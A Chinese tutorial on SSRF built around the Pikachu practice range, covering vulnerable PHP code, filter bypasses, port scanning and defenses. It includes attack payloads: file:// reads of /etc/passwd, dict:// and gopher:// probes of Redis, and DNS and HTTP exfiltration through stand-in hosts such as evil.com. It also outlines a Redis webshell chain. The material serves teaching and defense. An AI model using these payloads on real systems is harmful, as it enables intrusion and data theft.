1. 項目概述從靶場到實戰(zhàn)理解SSRF攻擊的本質(zhì)如果你正在學(xué)習(xí)網(wǎng)絡(luò)安全尤其是Web安全方向那么“Pikachu靶場”這個名字你一定不陌生。它就像我們學(xué)編程時的“Hello World”是無數(shù)安全愛好者入門實戰(zhàn)的第一站。今天我們要深入拆解的就是Pikachu靶場中一個經(jīng)典且危害極大的漏洞類型——SSRF攻擊。SSRF全稱Server-Side Request Forgery中文叫服務(wù)端請求偽造。這個名字聽起來有點拗口但它的原理其實很“直白”攻擊者能夠“欺騙”或“操縱”一個存在漏洞的服務(wù)器讓它代替攻擊者去發(fā)起一個網(wǎng)絡(luò)請求。你可以把它想象成一種“借刀殺人”的攻擊手法攻擊者自己躲在暗處讓受害服務(wù)器這把“刀”去攻擊內(nèi)網(wǎng)的其他系統(tǒng)、讀取本地文件甚至作為跳板發(fā)起更復(fù)雜的攻擊。為什么SSRF如此重要在當(dāng)前的網(wǎng)絡(luò)架構(gòu)下很多核心業(yè)務(wù)系統(tǒng)、數(shù)據(jù)庫、管理后臺都部署在內(nèi)網(wǎng)從外網(wǎng)無法直接訪問這構(gòu)成了所謂的安全邊界。但SSRF漏洞恰恰能打破這個邊界。一個看似無害的、允許用戶提交URL的功能比如頭像設(shè)置、文章抓取、在線翻譯如果存在SSRF漏洞就可能成為攻擊者刺向內(nèi)網(wǎng)的“特洛伊木馬”。通過Pikachu靶場我們可以在一個絕對安全的環(huán)境里親手復(fù)現(xiàn)這種攻擊理解漏洞的成因、利用手法以及最關(guān)鍵的——防御思路。無論你是剛?cè)腴T的安全新手還是想鞏固Web安全知識體系的從業(yè)者這次對SSRF的深度探索都將讓你收獲頗豐。2. SSRF攻擊核心原理與漏洞場景深度解析2.1 SSRF到底是如何發(fā)生的要理解SSRF我們必須先跳出前端的視角深入到服務(wù)器端代碼的邏輯里。想象一個典型的Web應(yīng)用場景一個“在線URL預(yù)覽”功能。用戶輸入一個圖片網(wǎng)址比如https://example.com/image.jpg服務(wù)器端代碼可能是PHP、Java、Python等會獲取到這個URL然后使用后端網(wǎng)絡(luò)庫如cURL、file_get_contents、HttpClient等去請求這個地址獲取圖片內(nèi)容最后可能進(jìn)行縮放、緩存再展示給用戶。漏洞就隱藏在服務(wù)器處理這個用戶輸入URL的過程中。如果開發(fā)人員沒有對用戶傳入的URL進(jìn)行嚴(yán)格的校驗和過濾攻擊者就可以輸入一個“非預(yù)期”的URL。這個URL可能指向服務(wù)器本機(jī)127.0.0.1或localhost嘗試訪問服務(wù)器上僅本地可訪問的服務(wù)如數(shù)據(jù)庫管理界面127.0.0.1:3306、Redis服務(wù)127.0.0.1:6379、Memcached等。內(nèi)網(wǎng)其他機(jī)器利用內(nèi)網(wǎng)IP地址段如192.168.x.x 10.x.x.x 172.16.x.x-172.31.x.x探測和攻擊內(nèi)網(wǎng)中其他存在漏洞的應(yīng)用。特殊協(xié)議或路徑利用file://協(xié)議讀取服務(wù)器本地文件如file:///etc/passwd或利用dict://、gopher://等協(xié)議與服務(wù)器上其他支持這些協(xié)議的服務(wù)進(jìn)行交互可能泄露信息或執(zhí)行命令。問題的核心在于服務(wù)器發(fā)起的這個請求會帶著服務(wù)器自身的網(wǎng)絡(luò)權(quán)限和身份。如果服務(wù)器在內(nèi)網(wǎng)中擁有較高權(quán)限或者內(nèi)網(wǎng)安全策略是基于“信任內(nèi)網(wǎng)”的那么攻擊者通過SSRF就能以服務(wù)器的身份“為所欲為”。2.2 Pikachu靶場中的SSRF漏洞場景模擬Pikachu靶場精心設(shè)計了多個場景來模擬SSRF漏洞幫助我們理解不同代碼缺陷導(dǎo)致的利用方式差異。通常它會包含以下至少兩種常見類型類型一無任何過濾的“裸奔”型SSRF這是最理想對攻擊者而言也是最危險的場景。后端代碼可能簡單如下以PHP為例$url $_GET[url]; // 直接獲取用戶輸入的URL $content file_get_contents($url); // 直接用于發(fā)起請求 echo $content;在這種情況下攻擊者擁有最大的自由度。他可以嘗試http://127.0.0.1:80探測Web服務(wù)。http://127.0.0.1:3306嘗試與MySQL交互雖然MySQL協(xié)議非HTTP但連接嘗試可能暴露端口開放狀態(tài)。file:///etc/passwd直接讀取系統(tǒng)文件。http://192.168.1.1/嘗試訪問內(nèi)網(wǎng)路由器管理界面。類型二存在部分過濾但可被繞過的SSRF這是更現(xiàn)實的情況。開發(fā)人員意識到了風(fēng)險但防御措施不完善。例如代碼可能檢查URL是否以http://或https://開頭$url $_GET[url]; if (strpos($url, http://) ! 0 strpos($url, https://) ! 0) { die(URL must start with http:// or https://); } $content file_get_contents($url);這種過濾很容易被繞過。攻擊者可以輸入http://127.0.0.1evil.com 這里127.0.0.1是用戶名后面的evil.com才是真正的主機(jī)。但一些舊的或配置不當(dāng)?shù)膸煸诮馕鰰r可能會錯誤地將整個字符串當(dāng)作主機(jī)名去解析或者因為符號的處理差異導(dǎo)致訪問本地。http://localhost.evil.com 攻擊者將域名localhost.evil.com的A記錄指向127.0.0.1從而繞過對“l(fā)ocalhost”字符串的過濾。利用URL編碼將127.0.0.1編碼為%31%32%37%2e%30%2e%30%2e%31點號也可編碼為%2e或者將點號換成Unicode形式如果過濾邏輯沒有進(jìn)行規(guī)范化解碼就可能被繞過。使用短地址或重定向提供一個指向http://127.0.0.1的短鏈接服務(wù)URL服務(wù)器在請求短鏈接后會跟隨重定向到內(nèi)網(wǎng)地址。注意在實際的Pikachu靶場練習(xí)中你需要仔細(xì)觀察前端的輸入框提示、響應(yīng)返回的數(shù)據(jù)格式是直接回顯、顯示為圖片還是僅返回成功/失敗這決定了你的攻擊載荷Payload該如何構(gòu)造。例如如果功能是獲取圖片并顯示那么你嘗試讀取/etc/passwd文本文件可能不會成功顯示但你可以嘗試讀取/proc/self/cmdlineLinux系統(tǒng)進(jìn)程信息或利用其他協(xié)議。2.3 從靶場到真實世界的漏洞聯(lián)想Pikachu靶場是一個理想化的模型真實世界的SSRF漏洞往往隱藏在更復(fù)雜的功能背后社交網(wǎng)站的“分享預(yù)覽”當(dāng)你粘貼一個鏈接網(wǎng)站會自動抓取標(biāo)題和縮略圖。PDF/文檔在線轉(zhuǎn)換服務(wù)服務(wù)需要訪問用戶提供的URL來獲取源文件。郵件/消息系統(tǒng)中的鏈接安全檢測部分系統(tǒng)會主動訪問鏈接以判斷其安全性。從遠(yuǎn)程URL導(dǎo)入數(shù)據(jù)或頭像的功能。Webhook配置用戶配置一個URL讓系統(tǒng)在事件發(fā)生時向該URL發(fā)送POST請求。這些功能點都是SSRF漏洞的“高發(fā)區(qū)”。理解靶場中的原理就是為了能在審計真實代碼或進(jìn)行滲透測試時迅速識別出這些潛在的“風(fēng)險點”。3. Pikachu靶場SSRF關(guān)卡實戰(zhàn)演練與技巧3.1 環(huán)境準(zhǔn)備與初步信息收集在開始攻擊之前充分的準(zhǔn)備和信息收集是成功的關(guān)鍵。假設(shè)你已經(jīng)成功在本地搭建好了Pikachu靶場通常是一個Docker容器或PHP集成環(huán)境。確定目標(biāo)URL首先訪問Pikachu靶場的SSRF漏洞模塊。它的路徑可能類似于http://your-pikachu-ip/pikachu/vul/ssrf/ssrf_*.php。打開頁面后不要急著輸入先觀察。分析前端界面頁面上可能有一個輸入框標(biāo)簽是“請輸入圖片地址”或“請輸入URL”旁邊有一個“提交”或“預(yù)覽”按鈕。查看網(wǎng)頁源代碼看看是否有前端JavaScript驗證。通常靶場為了教學(xué)會關(guān)閉或簡化前端驗證。理解后端邏輯這是最重要的步驟。你需要推測后端在做什么。提交一個合法的、完全可控的外網(wǎng)圖片URL比如https://via.placeholder.com/150一個生成占位圖片的公共服務(wù)。觀察結(jié)果情況A頁面直接顯示了這張圖片。這說明服務(wù)器獲取了圖片內(nèi)容并輸出到了img src標(biāo)簽或者直接以二進(jìn)制流返回。那么你可以嘗試讓服務(wù)器返回非圖片內(nèi)容看看是否也會被直接輸出回顯型SSRF這非常有利于信息探測。情況B頁面顯示“預(yù)覽成功”或只顯示一個固定圖片不顯示你提交的圖片內(nèi)容。這可能意味著服務(wù)器只是去“訪問”了一下這個URL根據(jù)訪問成功與否返回結(jié)果或者將圖片保存到了后端前端展示的是保存后的路徑。這種“盲SSRF”難度更大需要利用時間延遲、DNS記錄或外帶OOB技術(shù)來探測。3.2 基礎(chǔ)探測針對本機(jī)服務(wù)的攻擊確認(rèn)了是一個回顯型SSRF后我們可以開始基礎(chǔ)探測。目標(biāo)是探測服務(wù)器本機(jī)127.0.0.1開放了哪些端口和服務(wù)。技巧使用Burp Suite的Intruder模塊進(jìn)行端口爆破手動嘗試每個端口效率太低。我們可以利用Burp Suite。在瀏覽器中提交一個合法請求用Burp Suite抓包。將抓到的數(shù)據(jù)包發(fā)送到Intruder模塊。在url參數(shù)值如urlhttp://example.com處將主機(jī)名和端口部分設(shè)置為攻擊位置。例如設(shè)置urlhttp://127.0.0.1:§80§。載荷Payload設(shè)置選擇“Numbers”類型生成一個從1到10000的數(shù)字序列作為端口號。為了提速可以先用常見端口如21, 22, 23, 25, 53, 80, 110, 139, 143, 443, 445, 3306, 3389, 6379, 8080進(jìn)行第一輪探測。開始攻擊觀察響應(yīng)。通過響應(yīng)長度、狀態(tài)碼和內(nèi)容來區(qū)分。響應(yīng)長度顯著不同一個關(guān)閉的端口或非HTTP服務(wù)端口請求通常會失敗連接拒絕或超時響應(yīng)長度很短或為0。而一個開放的HTTP/HTTPS服務(wù)會返回具體的HTML或其他數(shù)據(jù)響應(yīng)長度較大。狀態(tài)碼可能會返回200、302、401、403等HTTP狀態(tài)碼。響應(yīng)內(nèi)容可能直接包含服務(wù)標(biāo)識如“Apache Tomcat”、“nginx”、“MySQL”等banner信息。實操心得在Pikachu靶場環(huán)境中你可能會發(fā)現(xiàn)127.0.0.1:80返回了Pikachu靶場自己的首頁127.0.0.1:3306可能連接超時因為MySQL協(xié)議非HTTP但響應(yīng)時間與一個完全不存在的端口如9999有差異。重點留意22SSH、6379Redis、27017MongoDB等常見中間件端口。3.3 進(jìn)階利用協(xié)議處理與文件讀取如果基礎(chǔ)HTTP探測成功接下來可以嘗試更危險的利用方式。利用file://協(xié)議讀取本地文件這是SSRF的一個經(jīng)典利用點可以直接讀取服務(wù)器上的敏感文件。Payload:file:///etc/passwd如果系統(tǒng)是Windows可以嘗試file:///C:/Windows/System32/drivers/etc/hosts或file:///C:/Windows/win.ini注意事項能否成功取決于后端使用的網(wǎng)絡(luò)庫/函數(shù)是否支持file://協(xié)議。PHP的file_get_contents()和cURL默認(rèn)配置通常是支持的。路徑分隔符Linux/Unix系統(tǒng)是正斜杠/Windows是反斜杠\但在URL中file://協(xié)議后通常使用正斜杠Windows路徑如file:///C:/Windows/win.ini?？赡軙龅轿募?quán)限問題但像/etc/passwd這類全局可讀文件通常可以讀取。利用dict://協(xié)議探測端口和服務(wù)信息dict://協(xié)議用于訪問DICT字典服務(wù)器但它有一個特性可以嘗試與任意端口的TCP服務(wù)建立連接并發(fā)送一條指令。這可以用來快速探測端口是否開放甚至與某些文本協(xié)議服務(wù)如Redis、Memcached進(jìn)行簡單交互。Payload:dict://127.0.0.1:6379/info如果6379端口運(yùn)行著Redis且未設(shè)置密碼可能會返回Redis服務(wù)器信息。原理dict://協(xié)議會向指定主機(jī)和端口發(fā)起一個TCP連接并將URL路徑如/info作為命令發(fā)送過去然后讀取響應(yīng)。這比HTTP探測更“底層”不要求目標(biāo)端口是HTTP服務(wù)。利用gopher://協(xié)議進(jìn)行高級攻擊gopher是一個古老的協(xié)議但它功能強(qiáng)大可以構(gòu)造任意格式的TCP數(shù)據(jù)包。在SSRF中它常被用作“萬能武器”特別是攻擊內(nèi)網(wǎng)的Redis、MySQL、FastCGI等服務(wù)。攻擊Redis未授權(quán)訪問如果內(nèi)網(wǎng)存在一臺未設(shè)置密碼的Redis服務(wù)器默認(rèn)端口6379可以通過SSRF配合gopher協(xié)議向Redis發(fā)送命令從而實現(xiàn)寫入Webshell、寫入SSH公鑰、主從復(fù)制RCE等操作。Payload構(gòu)造復(fù)雜需要將Redis命令轉(zhuǎn)換為gopher協(xié)議支持的格式通常是將Redis的原始命令按協(xié)議格式進(jìn)行URL編碼。由于構(gòu)造過程繁瑣通常使用現(xiàn)成的工具生成Payload。重要提示在Pikachu靶場中出于復(fù)雜度和安全性考慮可能不會完整模擬出可通過gopher攻擊Redis的場景。但理解這一利用鏈至關(guān)重要。其基本流程是發(fā)現(xiàn)SSRF - 探測內(nèi)網(wǎng)Redis端口開放 - 確認(rèn)Redis未授權(quán)訪問 - 構(gòu)造gopherPayload實現(xiàn)RCE。這是SSRF危害能達(dá)到“遠(yuǎn)程代碼執(zhí)行”級別的典型路徑。3.4 盲SSRF的探測與外帶技術(shù)當(dāng)你面對一個“盲SSRF”時服務(wù)器不會直接返回目標(biāo)請求的內(nèi)容。這時我們需要借助一些技術(shù)來“感知”請求是否成功發(fā)出以及探測目標(biāo)信息。1. 時間延遲Time-based Blind原理讓服務(wù)器去訪問一個我們控制的、響應(yīng)很慢的URL或者訪問一個不存在的IP導(dǎo)致連接超時。通過比較服務(wù)器響應(yīng)我們請求的時間長短來判斷目標(biāo)端口是否開放。操作提交http://192.168.1.10:80假設(shè)這是內(nèi)網(wǎng)IP。如果80端口開放服務(wù)器可能會快速收到一個HTTP響應(yīng)或連接拒絕整體響應(yīng)時間較短。如果訪問一個未使用的IP段如http://192.168.99.99:80服務(wù)器會因TCP超時而等待較長時間導(dǎo)致我們收到的最終響應(yīng)時間變長。工具輔助使用Burp Suite的Intruder攻擊時可以添加一列“Response received”時間通過排序來識別哪些請求耗時明顯更長端口開放或服務(wù)存在哪些請求快速失敗端口關(guān)閉。2. DNS外帶DNS Exfiltration這是探測盲SSRF和獲取信息的神器。原理是讓存在漏洞的服務(wù)器去解析一個我們擁有日志查詢權(quán)限的域名。步驟申請一個域名如evil.com并配置其NS記錄指向你控制的DNS服務(wù)器例如使用ceye.io、dnslog.cn這類提供免費(fèi)DNS日志查詢的平臺。構(gòu)造一個特殊的子域名作為Payload例如http://192-168-1-10.evil.com。當(dāng)服務(wù)器嘗試訪問這個URL時會先對192-168-1-10.evil.com進(jìn)行DNS解析。你可以在DNS日志平臺上看到解析記錄如果看到了192-168-1-10.evil.com就證明服務(wù)器確實發(fā)起了對192.168.1.10的DNS解析請求從而確認(rèn)了SSRF漏洞的存在并且可以探測內(nèi)網(wǎng)主機(jī)名你可以將IP放在子域名中帶出。進(jìn)階甚至可以嘗試http://encoded-data.evil.com將你想探測的信息如文件內(nèi)容片段編碼后放在子域名里通過DNS查詢帶出來。3. HTTP外帶HTTP Exfiltration與DNS外帶類似但通過HTTP請求將數(shù)據(jù)帶出。讓服務(wù)器訪問一個你控制的Web服務(wù)器并在URL路徑或參數(shù)中攜帶信息。Payload:http://your-server.com/ssrf?ip192.168.1.10port80在你的服務(wù)器日志中你會看到來自漏洞服務(wù)器的訪問記錄其中包含了ip和port參數(shù)從而證實了SSRF以及對內(nèi)網(wǎng)該IP:PORT的訪問嘗試。4. 防御策略與代碼審計視角攻擊是為了更好的防御。通過Pikachu靶場的實戰(zhàn)我們必須總結(jié)出如何在自己的代碼中避免SSRF漏洞。4.1 黑名單 vs 白名單策略選擇黑名單過濾不推薦試圖過濾掉“危險”的IP和域名如127.0.0.1、localhost、192.168.*、10.*.*.*、172.16.*.*等。這種方法極易被繞過IP地址的多種表示形式2130706433127.0.0.1的十進(jìn)制、0x7f000001十六進(jìn)制、0177.0.0.1八進(jìn)制、127.1、127.0.1等。利用DNS重綁定、短網(wǎng)址、跳轉(zhuǎn)服務(wù)。利用非HTTP協(xié)議如file://、dict://、gopher://。白名單過濾強(qiáng)烈推薦只允許訪問預(yù)設(shè)的、明確安全的域名或IP地址。這是最有效的防御手段。實現(xiàn)方式維護(hù)一個允許列表Allow List包含業(yè)務(wù)真正需要訪問的第三方服務(wù)域名如cdn.example.comapi.weixin.qq.com。用戶提交的URL先提取其主機(jī)名hostname檢查是否在允許列表中并且必須解析后的IP地址也在允許的IP范圍內(nèi)防止DNS重綁定攻擊。代碼示例Python思路import urllib.parse from socket import gethostbyname ALLOWED_DOMAINS [cdn.yourcompany.com, trusted-service.com] ALLOWED_IPS [203.0.113.10, 198.51.100.20] # 對應(yīng)上述域名的IP def safe_fetch_url(user_input_url): parsed urllib.parse.urlparse(user_input_url) hostname parsed.hostname # 1. 檢查協(xié)議只允許HTTP/HTTPS if parsed.scheme not in (http, https): raise ValueError(Only HTTP and HTTPS protocols are allowed) # 2. 解析主機(jī)名獲取IP try: ip gethostbyname(hostname) except: raise ValueError(Could not resolve hostname) # 3. 檢查IP是否在私有網(wǎng)段額外保險 if ip.startswith(127.) or ip.startswith(10.) or ip.startswith(192.168.) or (ip.startswith(172.) and 16 int(ip.split(.)[1]) 31): raise ValueError(Access to internal network is not allowed) # 4. 核心白名單校驗域名和IP雙重校驗 if hostname not in ALLOWED_DOMAINS or ip not in ALLOWED_IPS: raise ValueError(URL not in allowed list) # 5. 進(jìn)行實際的網(wǎng)絡(luò)請求... # 建議使用具有超時和重試限制的庫如requests4.2 網(wǎng)絡(luò)層與架構(gòu)層面的加固統(tǒng)一出口與網(wǎng)絡(luò)隔離業(yè)務(wù)服務(wù)器可能處理用戶輸入URL的Web應(yīng)用層應(yīng)該部署在一個獨(dú)立的分區(qū)DMZ與核心內(nèi)網(wǎng)業(yè)務(wù)數(shù)據(jù)庫、緩存、管理后臺進(jìn)行嚴(yán)格的網(wǎng)絡(luò)隔離。即使Web服務(wù)器被攻陷攻擊者也無法通過它直接訪問核心資產(chǎn)。使用中間代理服務(wù)對于必須從用戶輸入獲取遠(yuǎn)程資源的功能可以引入一個受嚴(yán)格控制的“代理服務(wù)”或“資源獲取服務(wù)”。這個服務(wù)運(yùn)行在獨(dú)立的、網(wǎng)絡(luò)權(quán)限最小化的容器或服務(wù)器上。Web應(yīng)用將用戶URL傳遞給這個代理服務(wù)由代理服務(wù)進(jìn)行白名單校驗、獲取內(nèi)容、安全檢查如病毒掃描、內(nèi)容類型校驗再將安全的內(nèi)容返回給Web應(yīng)用。這樣將風(fēng)險隔離在了一個更小的組件內(nèi)。禁用不必要的URL協(xié)議在應(yīng)用程序或底層網(wǎng)絡(luò)庫中禁用除http://和https://之外的所有URL協(xié)議處理器如file://、gopher://、dict://、ftp://。例如在PHP中可以在php.ini里設(shè)置allow_url_fopen Off來禁用file_get_contents對遠(yuǎn)程文件和特定協(xié)議的支持但會影響正常功能需權(quán)衡。更推薦在代碼層面進(jìn)行協(xié)議白名單校驗。設(shè)置請求超時和重試限制防止攻擊者利用SSRF進(jìn)行DoS攻擊讓服務(wù)器不斷請求一個慢速資源或端口掃描通過超時差異探測。避免將用戶輸入直接傳遞給底層網(wǎng)絡(luò)函數(shù)這是最根本的。任何將用戶可控數(shù)據(jù)用于網(wǎng)絡(luò)請求、文件操作、系統(tǒng)命令的地方都必須經(jīng)過嚴(yán)格的校驗和凈化。4.3 代碼審計中的危險函數(shù)與模式在進(jìn)行代碼審計時以下模式是SSRF漏洞的“高危信號”PHP:file_get_contents($url),fsockopen(),curl_exec()(如果CURLOPT_URL來自用戶輸入且未過濾)。Java:URLConnection().openConnection(),HttpClient.execute()(參數(shù)來自用戶輸入)new URL(userInput).openStream()。Python:urllib.request.urlopen(user_input),requests.get(user_input)。Node.js:require(http).get(userInput) 或使用request、axios等庫時URL參數(shù)來自未經(jīng)驗證的用戶輸入。看到這些函數(shù)就要立刻檢查其參數(shù)是否用戶可控以及前面是否有有效的白名單校驗或過濾機(jī)制。切記正則表達(dá)式黑名單過濾幾乎總是可以被繞過。5. 常見問題排查與實戰(zhàn)避坑指南在Pikachu靶場練習(xí)或真實環(huán)境測試中你可能會遇到各種問題。這里記錄一些常見的坑和解決思路。5.1 靶場環(huán)境問題問題提交Payload后頁面無變化或報錯“URL無效”。排查檢查Payload格式確保URL格式正確特別是使用了file://協(xié)議時是三個斜杠file:///。檢查靶場后端邏輯Pikachu不同版本的SSRF關(guān)卡可能有不同的后端代碼。有的關(guān)卡可能只接受返回圖片的URL通過檢查Content-Type。嘗試提交一個合法的圖片外鏈確認(rèn)功能正常。查看服務(wù)器錯誤日志如果你自己搭建的靶場查看PHP錯誤日志如/var/log/apache2/error.log或php_error.log里面可能有file_get_contents()失敗的具體原因如“No such file or directory”或“Protocol not supported”。協(xié)議支持確認(rèn)你使用的PHP環(huán)境是否編譯了對應(yīng)協(xié)議支持。file://通常是默認(rèn)支持的。問題探測內(nèi)網(wǎng)端口時所有請求都很快返回?zé)o法區(qū)分。排查防火墻/網(wǎng)絡(luò)配置確保你的靶場虛擬機(jī)或容器網(wǎng)絡(luò)配置正確能夠訪問其定義的“內(nèi)網(wǎng)”。有時Docker的網(wǎng)橋模式或虛擬機(jī)的Host-Only網(wǎng)絡(luò)需要正確設(shè)置。靶場設(shè)計有些教學(xué)靶場為了簡化可能沒有模擬復(fù)雜的內(nèi)網(wǎng)環(huán)境本機(jī)除了Web端口外沒有其他服務(wù)。你可以嘗試在靶場服務(wù)器上啟動一個簡單的Python HTTP服務(wù)在另一個端口python3 -m http.server 8888然后再從SSRF漏洞去訪問127.0.0.1:8888進(jìn)行測試。使用時間差即使端口關(guān)閉不同系統(tǒng)/網(wǎng)絡(luò)庫的報錯速度也可能有差異?？梢試L試用Burp Suite的Intruder設(shè)置較長的線程間隔如500ms更仔細(xì)地觀察“Response received”時間細(xì)微差別可能依然存在。5.2 利用技巧與進(jìn)階思考繞過技巧失效怎么辦如果你遇到的過濾看起來比較嚴(yán)格比如不僅檢查了127.0.0.1還檢查了localhost、0.0.0.0甚至檢查了URL編碼可以嘗試以下思路利用IPv6地址[::1]或[0:0:0:0:0:0:0:1]代表IPv6的回環(huán)地址。利用DNS重綁定這是繞過IP黑名單的終極技巧之一。你需要控制一個域名將其A記錄TTL設(shè)置為非常短如0先指向一個合法的外網(wǎng)IP如1.2.3.4讓服務(wù)器第一次DNS解析通過校驗。然后迅速將A記錄修改為127.0.0.1。由于服務(wù)器或中間件如本地DNS緩存、編程語言DNS緩存可能會緩存DNS結(jié)果成功率取決于緩存策略。一些在線平臺提供DNS重綁定測試服務(wù)。利用URL解析差異不同語言、不同庫的URL解析器可能存在差異。例如http://foo127.0.0.1:80evil.com/http://127.0.0.1:80\\evil.com等。這需要你對目標(biāo)后端技術(shù)棧的URL解析邏輯有深入了解。從SSRF到RCE的路徑如何打通SSRF本身可能只是信息泄露或內(nèi)網(wǎng)探測但其最高價值在于作為跳板實現(xiàn)遠(yuǎn)程代碼執(zhí)行。一個經(jīng)典的鏈?zhǔn)荢SRF - 攻擊內(nèi)網(wǎng)Redis未授權(quán)訪問 - 寫入Webshell。通過SSRF探測到內(nèi)網(wǎng)192.168.1.100:6379開放且是Redis。確認(rèn)Redis未設(shè)置密碼通過嘗試發(fā)送PING命令看是否返回PONG。構(gòu)造gopher協(xié)議Payload向Redis發(fā)送命令將一段PHP代碼寫入網(wǎng)站根目錄下的一個文件如shell.php。通過Web訪問這個shell.php獲得服務(wù)器權(quán)限。這個過程在Pikachu靶場中可能不會完整呈現(xiàn)但它是真實滲透測試中需要掌握的高級利用鏈。理解它你就能真正評估一個SSRF漏洞的潛在危害等級。個人體會SSRF漏洞的挖掘和利用三分靠技術(shù)七分靠耐心和思維發(fā)散。它考驗的是你對網(wǎng)絡(luò)協(xié)議、應(yīng)用架構(gòu)、編程語言特性的綜合理解。在測試時不要只盯著“URL輸入框”任何用戶可控的、最終會被系統(tǒng)用于發(fā)起網(wǎng)絡(luò)請求的參數(shù)都值得懷疑比如XML解析中的外部實體XXE漏洞本質(zhì)上也是一種SSRF、某些API的callback參數(shù)、甚至郵件頭中的Message-ID等。保持這種“攻擊面”思維才能發(fā)現(xiàn)更深層次的安全問題。最后防御SSRF沒有銀彈白名單是基石網(wǎng)絡(luò)隔離是護(hù)城河兩者結(jié)合才能構(gòu)建起有效的防線。